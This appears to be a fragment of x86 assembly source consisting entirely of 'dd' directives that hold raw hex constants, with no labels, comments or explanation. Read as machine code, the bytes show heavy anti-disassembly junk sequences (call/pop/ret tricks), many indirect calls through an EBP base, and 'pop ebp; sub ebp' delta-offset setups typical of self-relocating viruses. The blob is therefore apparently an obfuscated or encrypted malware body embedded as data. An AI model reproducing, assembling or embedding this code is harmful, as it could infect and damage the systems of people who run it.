		dd 36C2C351h, 0FE8h, 0EC0A6E00h, 6157FEF9h, 7460457Ch
		dd 0C2147109h, 619D8Bh,	965F0607h, 10E96060h, 70000000h
		dd 3C0BCE20h, 0E4F1F7CCh, 0A2BC60FDh, 0B15DA888h, 606061C1h
		dd 4C9CBB61h, 61614585h, 0BD299650h, 6071EA9h, 0A6ADB5FFh
		dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0D586D9C3h, 0DEF1F1DAh, 0BD899313h, 607099Dh
		dd 5595FFFCh, 6A06071Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0ACCFC357h,	89809EE5h
		dd 7148D9Dh, 0A1B58B06h, 6A060AA6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0E93CC353h
		dd 8B844FC0h, 7138985h,	718D8906h, 89060701h, 0C486h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0E8ED512h, 81167643h, 3A6F35DFh, 79958B05h, 6A060706h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0EBB1C352h, 8D895680h, 9D313827h,	6071BB5h
		dd 6A04C283h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 83E3C357h, 22FA2CDh, 81668087h
		dd 898A6AEFh, 7060195h,	20508906h, 0BA1F858Dh, 6A060Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 401018C3h, 0B185095Ah, 89060726h, 0B886h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 7E4D3EB5h, 2FC3D68Dh, 10E87Dh, 20980000h, 0CE2A4426h
		dd 7D5D012Dh, 0BCDFE0ADh, 63BF5533h, 5B59D96Fh,	6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 762138C3h, 11E97774h, 0D3000000h, 0CA6EAAD7h, 877283D2h
		dd 0D792A7B0h, 3AE90633h, 6850Fh, 9D8B0000h, 6072695h
		dd 0A6ADB5FFh, 9D29060Ah, 6071A61h, 1AF995FFh, 50F80607h
		dd 0BA525060h, 1B918125h, 0D08A310Fh, 0AE9585Ah, 7B000000h
		dd 0AAB7AEE8h, 2DEFE4Eh, 348961A0h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E9555742h
		dd 0Ah,	0C0DA3AAEh, 0FC026216h,	0B5FFBC2Fh, 60AA6ADh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 65C35343h, 0FD9CCBEh
		dd 68Fh, 959D2900h, 0FF060703h,	7152995h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0BA9230EEh, 0BD83F964h, 60712A5h, 21840F00h,	66000000h
		dd 5073C5BFh, 0CE8h, 70B07A00h,	80F9C0Fh, 0E54DAF5Ch, 36B6BF15h
		dd 895F417Bh, 0DD8A2434h, 0A6ADB5FFh, 6A060Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 47C710C3h, 0F4B28126h, 0FF57A862h, 7055595h,	81B53106h
		dd 0FF060720h, 0AA6ADB5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0FD928577h
		dd 28A0F4Eh, 0F382C381h, 9D8B64ACh, 60711FDh, 1FF995FFh
		dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0FDA791C3h, 1DBD8371h, 206071Fh, 61840Fh
		dd 0F7810000h, 0E58CEF3h, 6DD858Bh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 490F3C3h
		dd 0ECC100D5h, 9D8B1E7Eh, 6070959h, 6A0000C6h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 158CC357h, 0A365EB81h, 8B665EFBh, 0C75F52D9h, 7269185h
		dd 6, 9D296000h, 6071E35h, 42E961F9h, 6AFFFFF1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0E6B2C352h, 0BF664993h, 0B5892442h, 6073209h, 6AC18Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 62301EC3h, 1A79134Ch, 8D02A887h, 7078585h, 0CE906h
		dd 0BF7D0000h, 3923BCFh, 950135FDh, 0E8502D92h,	6, 81D56711h
		dd 5250B047h, 5250310Fh, 585A310Fh, 895B585Ah, 95892404h
		dd 6071CA1h, 0CE9006Ah,	0E6000000h, 0F291507Eh,	6B6B980Ch
		dd 6A439FBCh, 6890F00h,	8B000000h, 70E5DBDh, 0D8B70F06h
		dd 0EE78858Dh, 6A060Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 8BEC9CC3h, 0C083DD1Bh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 3478F440h, 0AA4322EEh, 85896022h, 60713A1h, 8A0F5061h
		dd 4, 575DBB66h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E9CEC357h,	7, 0A1DDB2A0h
		dd 8B758173h, 0E8006AF9h, 0Fh, 0EA0EB722h, 0E913FCA6h
		dd 0F03C6F4Dh, 5B425C6Dh, 0B70F006Ah, 0C195FFFEh, 0E9060704h
		dd 0Dh,	64DB6648h, 0BA06E25Dh, 0FFCD0E30h, 1DBD8BB7h, 8D060732h
		dd 0AA64F8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 4D421C55h, 5E8h, 13042600h, 0BD29EA51h
		dd 60728D5h, 68DF815Fh,	0FF1D6DD9h, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 51921F1Ch
		dd 0BD835FF8h, 607218Dh, 83850F01h, 8B000000h, 720A9BDh
		dd 6A026A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 2B4BC357h, 6883D037h, 0E994B317h
		dd 7, 0CAB74ED5h, 90639771h, 9FBDBB66h,	95899050h, 6072255h
		dd 1AF995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 9CD1CBC3h, 0CA593E29h, 0E9ED83C3h
		dd 0Eh,	600BB2CEh, 5A9722FAh, 0B85E928Ch, 64E97649h, 0E800000Ch
		dd 0
		dd 82ED815Dh, 66060BEEh, 0FA533BFh, 683h, 41BD8B00h, 8D060716h
		dd 0A910885h, 7991BF06h, 665065FDh, 489F88Bh, 58D0924h
		dd 6606070Ah, 640FA5BBh, 35FFh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B7FC2AC3h
		dd 916AF8B8h, 8964B684h, 25h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0D6E94A85h
		dd 10E99D33h, 0BD230607h, 6072C41h, 32F185FFh, 0AE90607h
		dd 0BC000000h, 24DC85E1h, 0B9092CF4h, 0B7FF6A18h, 0F8CF813Fh
		dd 0FF0F82BBh, 711E5B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0FFF5C0FCh, 71AC995h
		dd 15EE906h, 0BD890000h, 607260Dh, 8E8h, 13E51B00h, 0BF674B20h
		dd 799D0B09h, 5F06071Eh, 0E6F800B0h, 7DBD8B70h,	0E4060702h
		dd 0AE971h, 725A0000h, 7769AF18h, 8BC15997h, 830F613Ch
		dd 120h, 3DBD2957h, 5F060725h, 0FC8B60Fh, 0A86h, 5E900h
		dd 0C5760000h, 0BA629C74h, 6, 15918589h, 0C18B0607h, 28E0Fh
		dd 0C3B30000h, 6604E8C1h, 0FA002BBh, 381h, 0F88B6600h
		dd 9E2F766h, 7086D95h, 0FC82B06h, 8BF5FAB7h, 0DBD01D1h
		dd 0E906072Ch, 0C4h, 10E8h, 0EA18C700h,	0ADD61F80h, 9146B24Bh
		dd 4B0DFCA8h, 5FF88A52h, 4C44858Bh, 0BB665F4Ch,	880F187Ah
		dd 9, 66616060h, 46F5D881h, 7C08361h, 21518D89h, 0C0830607h
		dd 6880F00h, 8B000000h,	71581BDh, 0FD03B06h, 2C83h, 6DE9FC00h
		dd 0E9000000h, 12h, 4D70DE3Ch, 4D371E90h, 0A7C15D7Dh, 308C602Dh
		dd 0AE90CC0h, 31000000h, 319673E0h, 7B367623h, 0FF8D8B33h
		dd 0E9FFFFFFh, 6, 8368AFh, 0E18321AFh, 2D840F01h, 66000000h
		dd 0A583DF8Bh, 0FFFFFFFFh, 0CE9FEh, 93CF0000h, 5AC06E80h
		dd 3BEDFE4Fh, 958997F8h, 5F4C4C44h, 18F0Fh, 0E9F90000h
		dd 0
		dd 686EB58Dh, 9D31060Bh, 607026Dh, 8166006Ah, 0FF3B0DE7h
		dd 716B595h, 10B9F906h,	8B000010h, 71CA5BDh, 0FCE18306h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0D6C35040h
		dd 8DC10376h, 0BD89FC6Fh, 6072815h, 0B99589FCh,	0B806072Fh
		dd 0
		dd 0FAD9D8Bh, 0D22B0607h, 1CA5B589h, 33AD0607h,	3E8D1C2h
		dd 4E983D0h, 0BD89F475h, 6072839h, 880DF8h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0BE8E8C3h, 75000000h, 0CCD7D5h, 8AAC5E5Eh, 0BD8B5021h
		dd 60700D1h, 8B63B75Bh,	7067995h, 0FE806h, 97E80000h, 0FFD95B40h
		dd 86E56423h, 969CE869h, 0F59D89B4h, 5B060726h,	2CE58D8Bh
		dd 0BD8B0607h, 60700A5h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0B1BAC1C3h, 0D6E98160h, 290CA5AAh
		dd 70821B5h, 0BD836106h, 60710E5h, 64840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0E902C352h, 0B8h,	0EE900h, 0D2CC0000h, 10B764E5h
		dd 0E55C9E49h, 0E3D3A80Eh, 4E1C8D8Dh, 6A0607h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 9FCFE3C3h, 0FF9F6B7Ch, 0ADBD09E1h, 83060702h, 72D05BDh
		dd 840F0006h, 3E5h, 0CA86DF81h,	0BD836738h, 6072D05h, 0ED840F01h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 9911C350h, 74129B8Ch, 6820Fh
		dd 9D890000h, 60716ADh,	2D05BD83h, 0F030607h, 37D86h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 17B36060h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0F75FC351h,	0AEA1A8Ah
		dd 8A98531h, 95290607h,	60713E5h, 6A04E180h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 40A7C356h, 81D8C74Bh, 955386EFh, 0DF816627h,	0C90A5244h
		dd 141840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 8E0F71C3h, 6, 163D9D89h,	60600607h
		dd 78D9D89h, 85890607h,	607213Dh, 68E0F61h, 8B000000h
		dd 708C19Dh, 858B6106h,	6070629h, 8559D89h, 85330607h
		dd 6071E75h, 0A319D8Bh,	0F900607h, 0F8Dh, 6E800h, 0C1B00000h
		dd 0CD2D423Ch, 5BFE8B66h, 90DF8B50h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0E6C35141h,	0E94B31CEh, 0Dh
		dd 6FF23215h, 847FBB2Bh, 233A2194h, 6A006A31h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 8EBAC353h, 0B8295E25h, 85BD096Ah, 31060726h,	726D995h
		dd 7E806h, 8BCD0000h, 75AB5BFAh, 890F48h, 5F000000h, 6F4D0E68h
		dd 8196B7A1h, 0B6F12404h, 0BB665EAFh, 95FFCA90h, 6071D01h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CAC35747h
		dd 0BD89DE44h, 607060Dh, 0A6AD8589h, 0BF66060Ah, 6FE9A9AFh
		dd 0F000001h, 682h, 798D8900h, 8B06071Dh, 0AA6A585h, 0F8BF0F06h
		dd 0F45CAEBFh, 1800C77Dh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0B0BCC351h
		dd 8BED1942h, 0AA6A9B5h, 6820F06h, 3000000h, 70DED9Dh
		dd 21858B06h, 6A06070Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0E228C356h,	0D73CA4E3h
		dd 13E902ADh, 11000000h, 0D0C869A6h, 9F4491AAh,	62D5DE5Bh
		dd 722432FFh, 6656AFF2h, 92E9CB81h, 11E95Fh, 44960000h
		dd 0ECBD939Ah, 0CB15D35Ah, 7303488Bh, 8943484Bh, 0F99D8B06h
		dd 8B060700h, 7062985h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 93B53D64h, 5E9h, 6137C200h
		dd 4689365Ch, 505BB704h, 28C0F60h, 60000000h, 34896161h
		dd 0D1BD8B24h, 0FF060710h, 0AA6A5B5h, 0C99D8B06h, 8B060707h
		dd 0F4FA68FBh, 0DE8B3275h, 5243481h, 8B326AF7h,	701CDBDh
		dd 0AD858D06h, 6A060AA6h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 617AC356h, 0C6FF9689h
		dd 8B50F8CBh, 240489DEh, 859D8957h, 5F060721h, 1D0195FFh
		dd 0BE90607h, 91000000h, 6E0254E8h, 3B633D32h, 6A617FC6h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0C42EC352h, 6625B92Ch, 0EB4CDF81h, 2D0585C7h
		dd 30607h, 8B660000h, 0ADBD83FAh, 60AA6h, 14840Fh, 9D0B0000h
		dd 6071BB1h, 24E9h, 0DBB70F00h,	15919D29h, 30500607h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0DBD8BC0h
		dd 6A060713h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0F29C353h, 35BD8BF8h, 8306071Eh
		dd 72D05BDh, 850F0306h,	3D3h, 86DBD29h,	0BD830607h, 60AA6ADh
		dd 0C0840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 3ED6C351h, 9E86068h
		dd 0D9000000h, 0B5341572h, 0A7985804h, 0E96159FCh, 14h
		dd 883D8926h, 0C9267F0Dh, 6535F915h, 0D11384DCh, 0E8886214h
		dd 0A6ADB5FFh, 0E957060Ah, 0Eh,	8BA21102h, 5F45C5C1h, 660DF9FDh
		dd 0FF5FBAB6h, 7043D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 2D6632E1h, 57DC569h, 7E8EE7Fh
		dd 6A000000h, 0E0EF0A83h, 0BF5B9A01h, 169F899Bh, 0A6A1B58Bh
		dd 0C7F5060Ah, 1000106h, 21CB8100h, 5044E3FEh, 0FE8h, 0E74DD100h
		dd 3D36E0CEh, 0CCBE655Fh, 0BAB54AD9h, 500E0BBh,	34895B01h
		dd 23F38124h, 0FF004EF9h, 0AA6ADB5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 2F78D56Ch
		dd 59BB6618h, 999D8BF7h, 0FF06072Ah, 71A5595h, 0F98B6606h
		dd 0A6A1B58Bh, 9D89060Ah, 60731D1h, 1389858Bh, 85090607h
		dd 60706E1h, 0C48689h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0BE4970C3h, 0B0416FC8h
		dd 0CB8028B3h, 79958B99h, 0F060706h, 0C283DFBFh, 5089F804h
		dd 1F858D20h, 6A060ABAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 4271C353h, 52D8589h
		dd 86890607h, 0B8h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 46C35040h, 39688575h,	1031BD2Bh, 9D890607h
		dd 60727A9h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 855963C3h, 0FCA72804h, 0A6ADB5FFh
		dd 0FD8A060Ah, 1AF995FFh, 6A0607h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0A0F0D9C3h, 2348AB90h
		dd 8B660DFFh, 59529FAh,	50060728h, 8E9h, 5CD2CD00h, 0F2827AD9h
		dd 2434891Fh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	0F0C35242h, 0FE8BE319h,	0A6ADB5FFh
		dd 0BD8B060Ah, 6071D61h, 152995FFh, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8311C3h
		dd 60712A5h, 3F840F00h,	52000000h, 1E098509h, 965B0607h
		dd 99B75250h, 6653310Fh, 5A5FD98Bh, 9BB35058h, 55006A96h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0BCEFD641h, 0FDFF5323h, 0B5FFFE8Bh, 60AA6ADh, 0FFDFBF0Fh
		dd 7055595h, 0C19D0B06h, 0F9060711h, 0A6ADB5FFh, 6A060Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 4BBC57C3h, 0F5E36963h, 0CADB8041h, 1FF995FFh, 13E80607h
		dd 57000000h, 40906F91h, 5BB2FEDAh, 8B4AAFE3h, 48819CA9h
		dd 8D0983A9h, 6072D31h,	1DBD835Fh, 206071Fh, 5A840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 18EAC0C3h, 858BE4B7h, 60706DDh, 31C1B589h, 0C60607h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 4116D1A5h, 25E9BD29h, 0BD8B0607h, 6071B29h
		dd 269185C7h, 607h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E9C276C3h, 0FFFFF49Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 49C35242h
		dd 9ECDA7A1h, 81902E78h, 543E2AF3h, 459D8B5Bh, 8B060702h
		dd 53006AC1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 3B5A04FFh, 0ADBD8B7Fh, 8D060716h, 7078585h
		dd 0FFBF0F06h, 0C1BB6650h, 24048999h, 8B60D98Bh, 704D9BDh
		dd 61EBB706h, 0B7F5006Ah, 8D006AEDh, 0BFC5C85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 846DE890h, 735A8C82h, 8905C083h, 7317995h, 5E85006h
		dd 0F2000000h, 5AB1BCA5h, 0AE8h, 9EA36300h, 41309F6h, 5FFF5BAEh
		dd 2404895Fh, 58A0Fh, 66520000h, 6A5FD88Bh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 8166E870h, 6A9AEFCFh, 919D2B00h, 0FF06071Ah,	704C195h
		dd 618D8906h, 8D060721h, 0AA64F8Dh, 4D8D8906h, 0BF060708h
		dd 285C42F6h, 0BB66D1FFh, 0F381EACAh, 5EBD7201h, 218DBD83h
		dd 0F010607h, 9985h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 955CEE06h, 61D6EB0Fh
		dd 0BF6656CDh, 0B75BC4D0h, 6A026A81h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4269C352h
		dd 5D54E9D8h, 0B5315652h, 6072BEDh, 0BF66505Fh,	48995C7h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 7C6732E8h, 0A6B36913h, 9D8B696Bh, 6070B61h
		dd 1AF995FFh, 890F0607h, 2, 9EE9D88Bh, 0E800000Bh, 0
		dd 66ED815Dh, 1060BFCh,	70101B5h, 0EF816606h, 858D8525h
		dd 60A9108h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	47C35343h, 7E9E4h, 747E0000h, 14A014FFh, 665350A3h
		dd 895BD88Bh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0ECE49AC3h, 0DD7C1913h, 0CDB5891Bh
		dd 64060701h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 3DD0F1C3h, 34F992C9h
		dd 49BD8B79h, 6406071Dh, 2589h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF6610C3h
		dd 0DF8BE260h, 32F185FFh, 85890607h, 60710ADh, 6AFF6Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 1EE9C2C3h, 0BD011E2Eh, 6071EA1h, 1B45B5FFh, 8E0F0607h
		dd 3, 0FFDFB70Fh, 71AC995h, 102E906h, 0BD8B0000h, 6072E81h
		dd 853100B0h, 6070A8Dh,	0BD8970E6h, 6072FADh, 0C1BB71E4h
		dd 3C1475A1h, 0DD830F61h, 8A000000h, 0C8B60FDCh, 9E8h
		dd 0B3DA1F00h, 15641369h, 9D895836h, 6070FB5h, 6BA5Bh
		dd 0D3810000h, 42355963h, 8589C18Bh, 60727FDh, 0F904E8C1h
		dd 80E2F766h, 0C82B42D3h, 26399D89h, 0D18B0607h, 0CE9h
		dd 30102800h, 4B492784h, 400CDABEh, 86E986h, 858B0000h
		dd 47554C50h, 7C083F9h,	6A99D89h, 0BD8B0607h, 6071E89h
		dd 2900C083h, 7060DB5h,	0FD03B06h, 0F83h, 359D0300h, 0E9060728h
		dd 54h,	9808BB66h, 0FFFF8D8Bh, 12E8FFFFh, 0A6000000h, 798D73EDh
		dd 699FE2CCh, 0A9EB6847h, 0D588D5BCh, 5800F6Ch,	66000000h
		dd 0A48EF381h, 1E1835Bh, 1E840Fh, 0BD8B0000h, 6070689h
		dd 0FFFFA583h, 9FEFFFFh, 726D5BDh, 50958906h, 0E947554Ch
		dd 0
		dd 787EB58Dh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 77A06DC3h, 6CD47814h, 48A0Fh, 0BF660000h
		dd 6AD537h, 7E9h, 0EFF0E00h, 757FF2A2h,	1B71BF66h, 16B595FFh
		dd 29500607h, 708CD9Dh,	0DE95B06h, 0CB000000h, 304962Ch
		dd 0A8D33FCFh, 0C32D70FEh, 10B4B9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0FCE183F3h
		dd 0D6CB8166h, 0BD8BFC11h, 6072EA5h, 0B589C02Bh, 6072705h
		dd 6AD22Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F092BC3h, 33ADDAB7h, 3E8D1C2h, 4E983D0h
		dd 40B3F475h, 55006AF9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0B10DB2F0h, 0B0D30739h, 7819529h
		dd 880D0607h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 1378C356h, 0B70F9D45h
		dd 79958BFBh, 8B060706h, 72D49BDh, 0E58D8B06h, 5606072Ch
		dd 6840Fh, 0BD8B0000h, 6072791h, 0C28B505Fh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0DF74C351h
		dd 0DCBB52E0h, 5B4BB3D4h, 8D958B60h, 60060703h,	8E9h, 0A640EC00h
		dd 5BC517AAh, 616160ACh, 0E5BD8361h, 60710h, 51840Fh, 8E0F0000h
		dd 6, 0ECF381h,	0BD033D69h, 6070B0Dh, 0B8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0C97D21E1h, 310C40D2h, 71FF595h, 1C8D8D06h, 6606074Eh
		dd 66F183BFh, 0FF0E12BBh, 83FB8BE1h, 72D05BDh, 840F0006h
		dd 379h, 0CE9h,	0ED694500h, 1D2B02Ch, 0CEE3EC94h, 5BD83C4h
		dd 106072Dh, 376840Fh, 9D330000h, 6072AB9h, 2D05BD83h
		dd 0F030607h, 32D86h, 68E0F00h,	23000000h, 71AE1BDh, 85896006h
		dd 6070669h, 1CD19D8Bh,	8C660607h, 89D98BD9h, 702D98Dh
		dd 4E18006h, 16698589h,	0C90A0607h, 120840Fh, 0BB660000h
		dd 95297513h, 6071399h,	629858Bh, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8B1EC3h
		dd 6070E71h, 0ED77BB66h, 1E758533h, 0DF8B0607h,	9D2DBF90h
		dd 8A501952h, 6A90FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0FD8AB1C3h, 20119D03h, 0BD890607h
		dd 6070B7Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0E298ADC3h, 8B1E71B3h, 720E59Dh
		dd 521C6806h, 0E960469Eh, 0Fh, 811611AEh, 91F9902h, 0BEEC01FAh
		dd 0B180ED75h, 3481612Ah, 8151E324h, 0FFDE8B46h, 71D0195h
		dd 6ED78006h, 0A6AD8589h, 6A060Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0D781C3C3h, 3242A896h
		dd 0A3D08060h, 4F98D89h, 0E9610607h, 1B5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B4C35545h, 858BDE69h
		dd 60AA6A5h, 0E5850156h, 5B060732h, 1800C7h, 95010000h
		dd 6070E59h, 0A6A9B58Bh, 9529060Ah, 6070E85h, 0C21858Bh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0A01546C3h, 278E4C0Fh, 10820Fh, 5E80000h
		dd 7F000000h, 7DF8F143h, 2D78166h, 81665B5Bh, 895B1EDFh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0E7FF7DE7h, 8B30A050h, 7062985h,	9D9D3106h
		dd 89060732h, 5E80446h,	21000000h, 7B00CFFEh, 7A10BF66h
		dd 6060965Fh, 48FF79BBh, 52506123h, 55C8B866h, 0FFBE310Fh
		dd 5A2ED0D8h, 96506158h, 1EBF6650h, 0B5FF5F2Ah,	60AA6A5h
		dd 7E9h, 8218EF00h, 0C64D7658h,	82E1CC68h, 5252507Fh, 0F5B61B7h
		dd 0F525031h, 7DBB6631h, 5A585AC1h, 24348158h, 7F9DE233h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 2DC35343h
		dd 8DBE34C8h, 8D475B96h, 0AA6AD85h, 0D88B6606h,	0B810F90h
		dd 0E8000000h, 5, 33531708h, 0E8505BA2h, 0Dh, 89C62D85h
		dd 0D8276D9Dh, 3CE61594h, 66525019h, 310FF98Bh,	860Fh
		dd 585A0000h, 6A905Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 89BA8BC3h, 726ED8Dh, 0FF75B306h
		dd 71D0195h, 6870F06h, 89000000h, 722859Dh, 0BD8B6106h
		dd 60704F9h, 2D0585C7h,	30607h,	66530000h, 5FFA92BFh, 0A6ADBD83h
		dd 0F00060Ah, 1D84h, 0B6E38100h, 0E93B86A9h, 2Dh, 0DE9h
		dd 0DE9D8000h, 0C1C4C9E7h, 6303B8C8h, 30501061h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
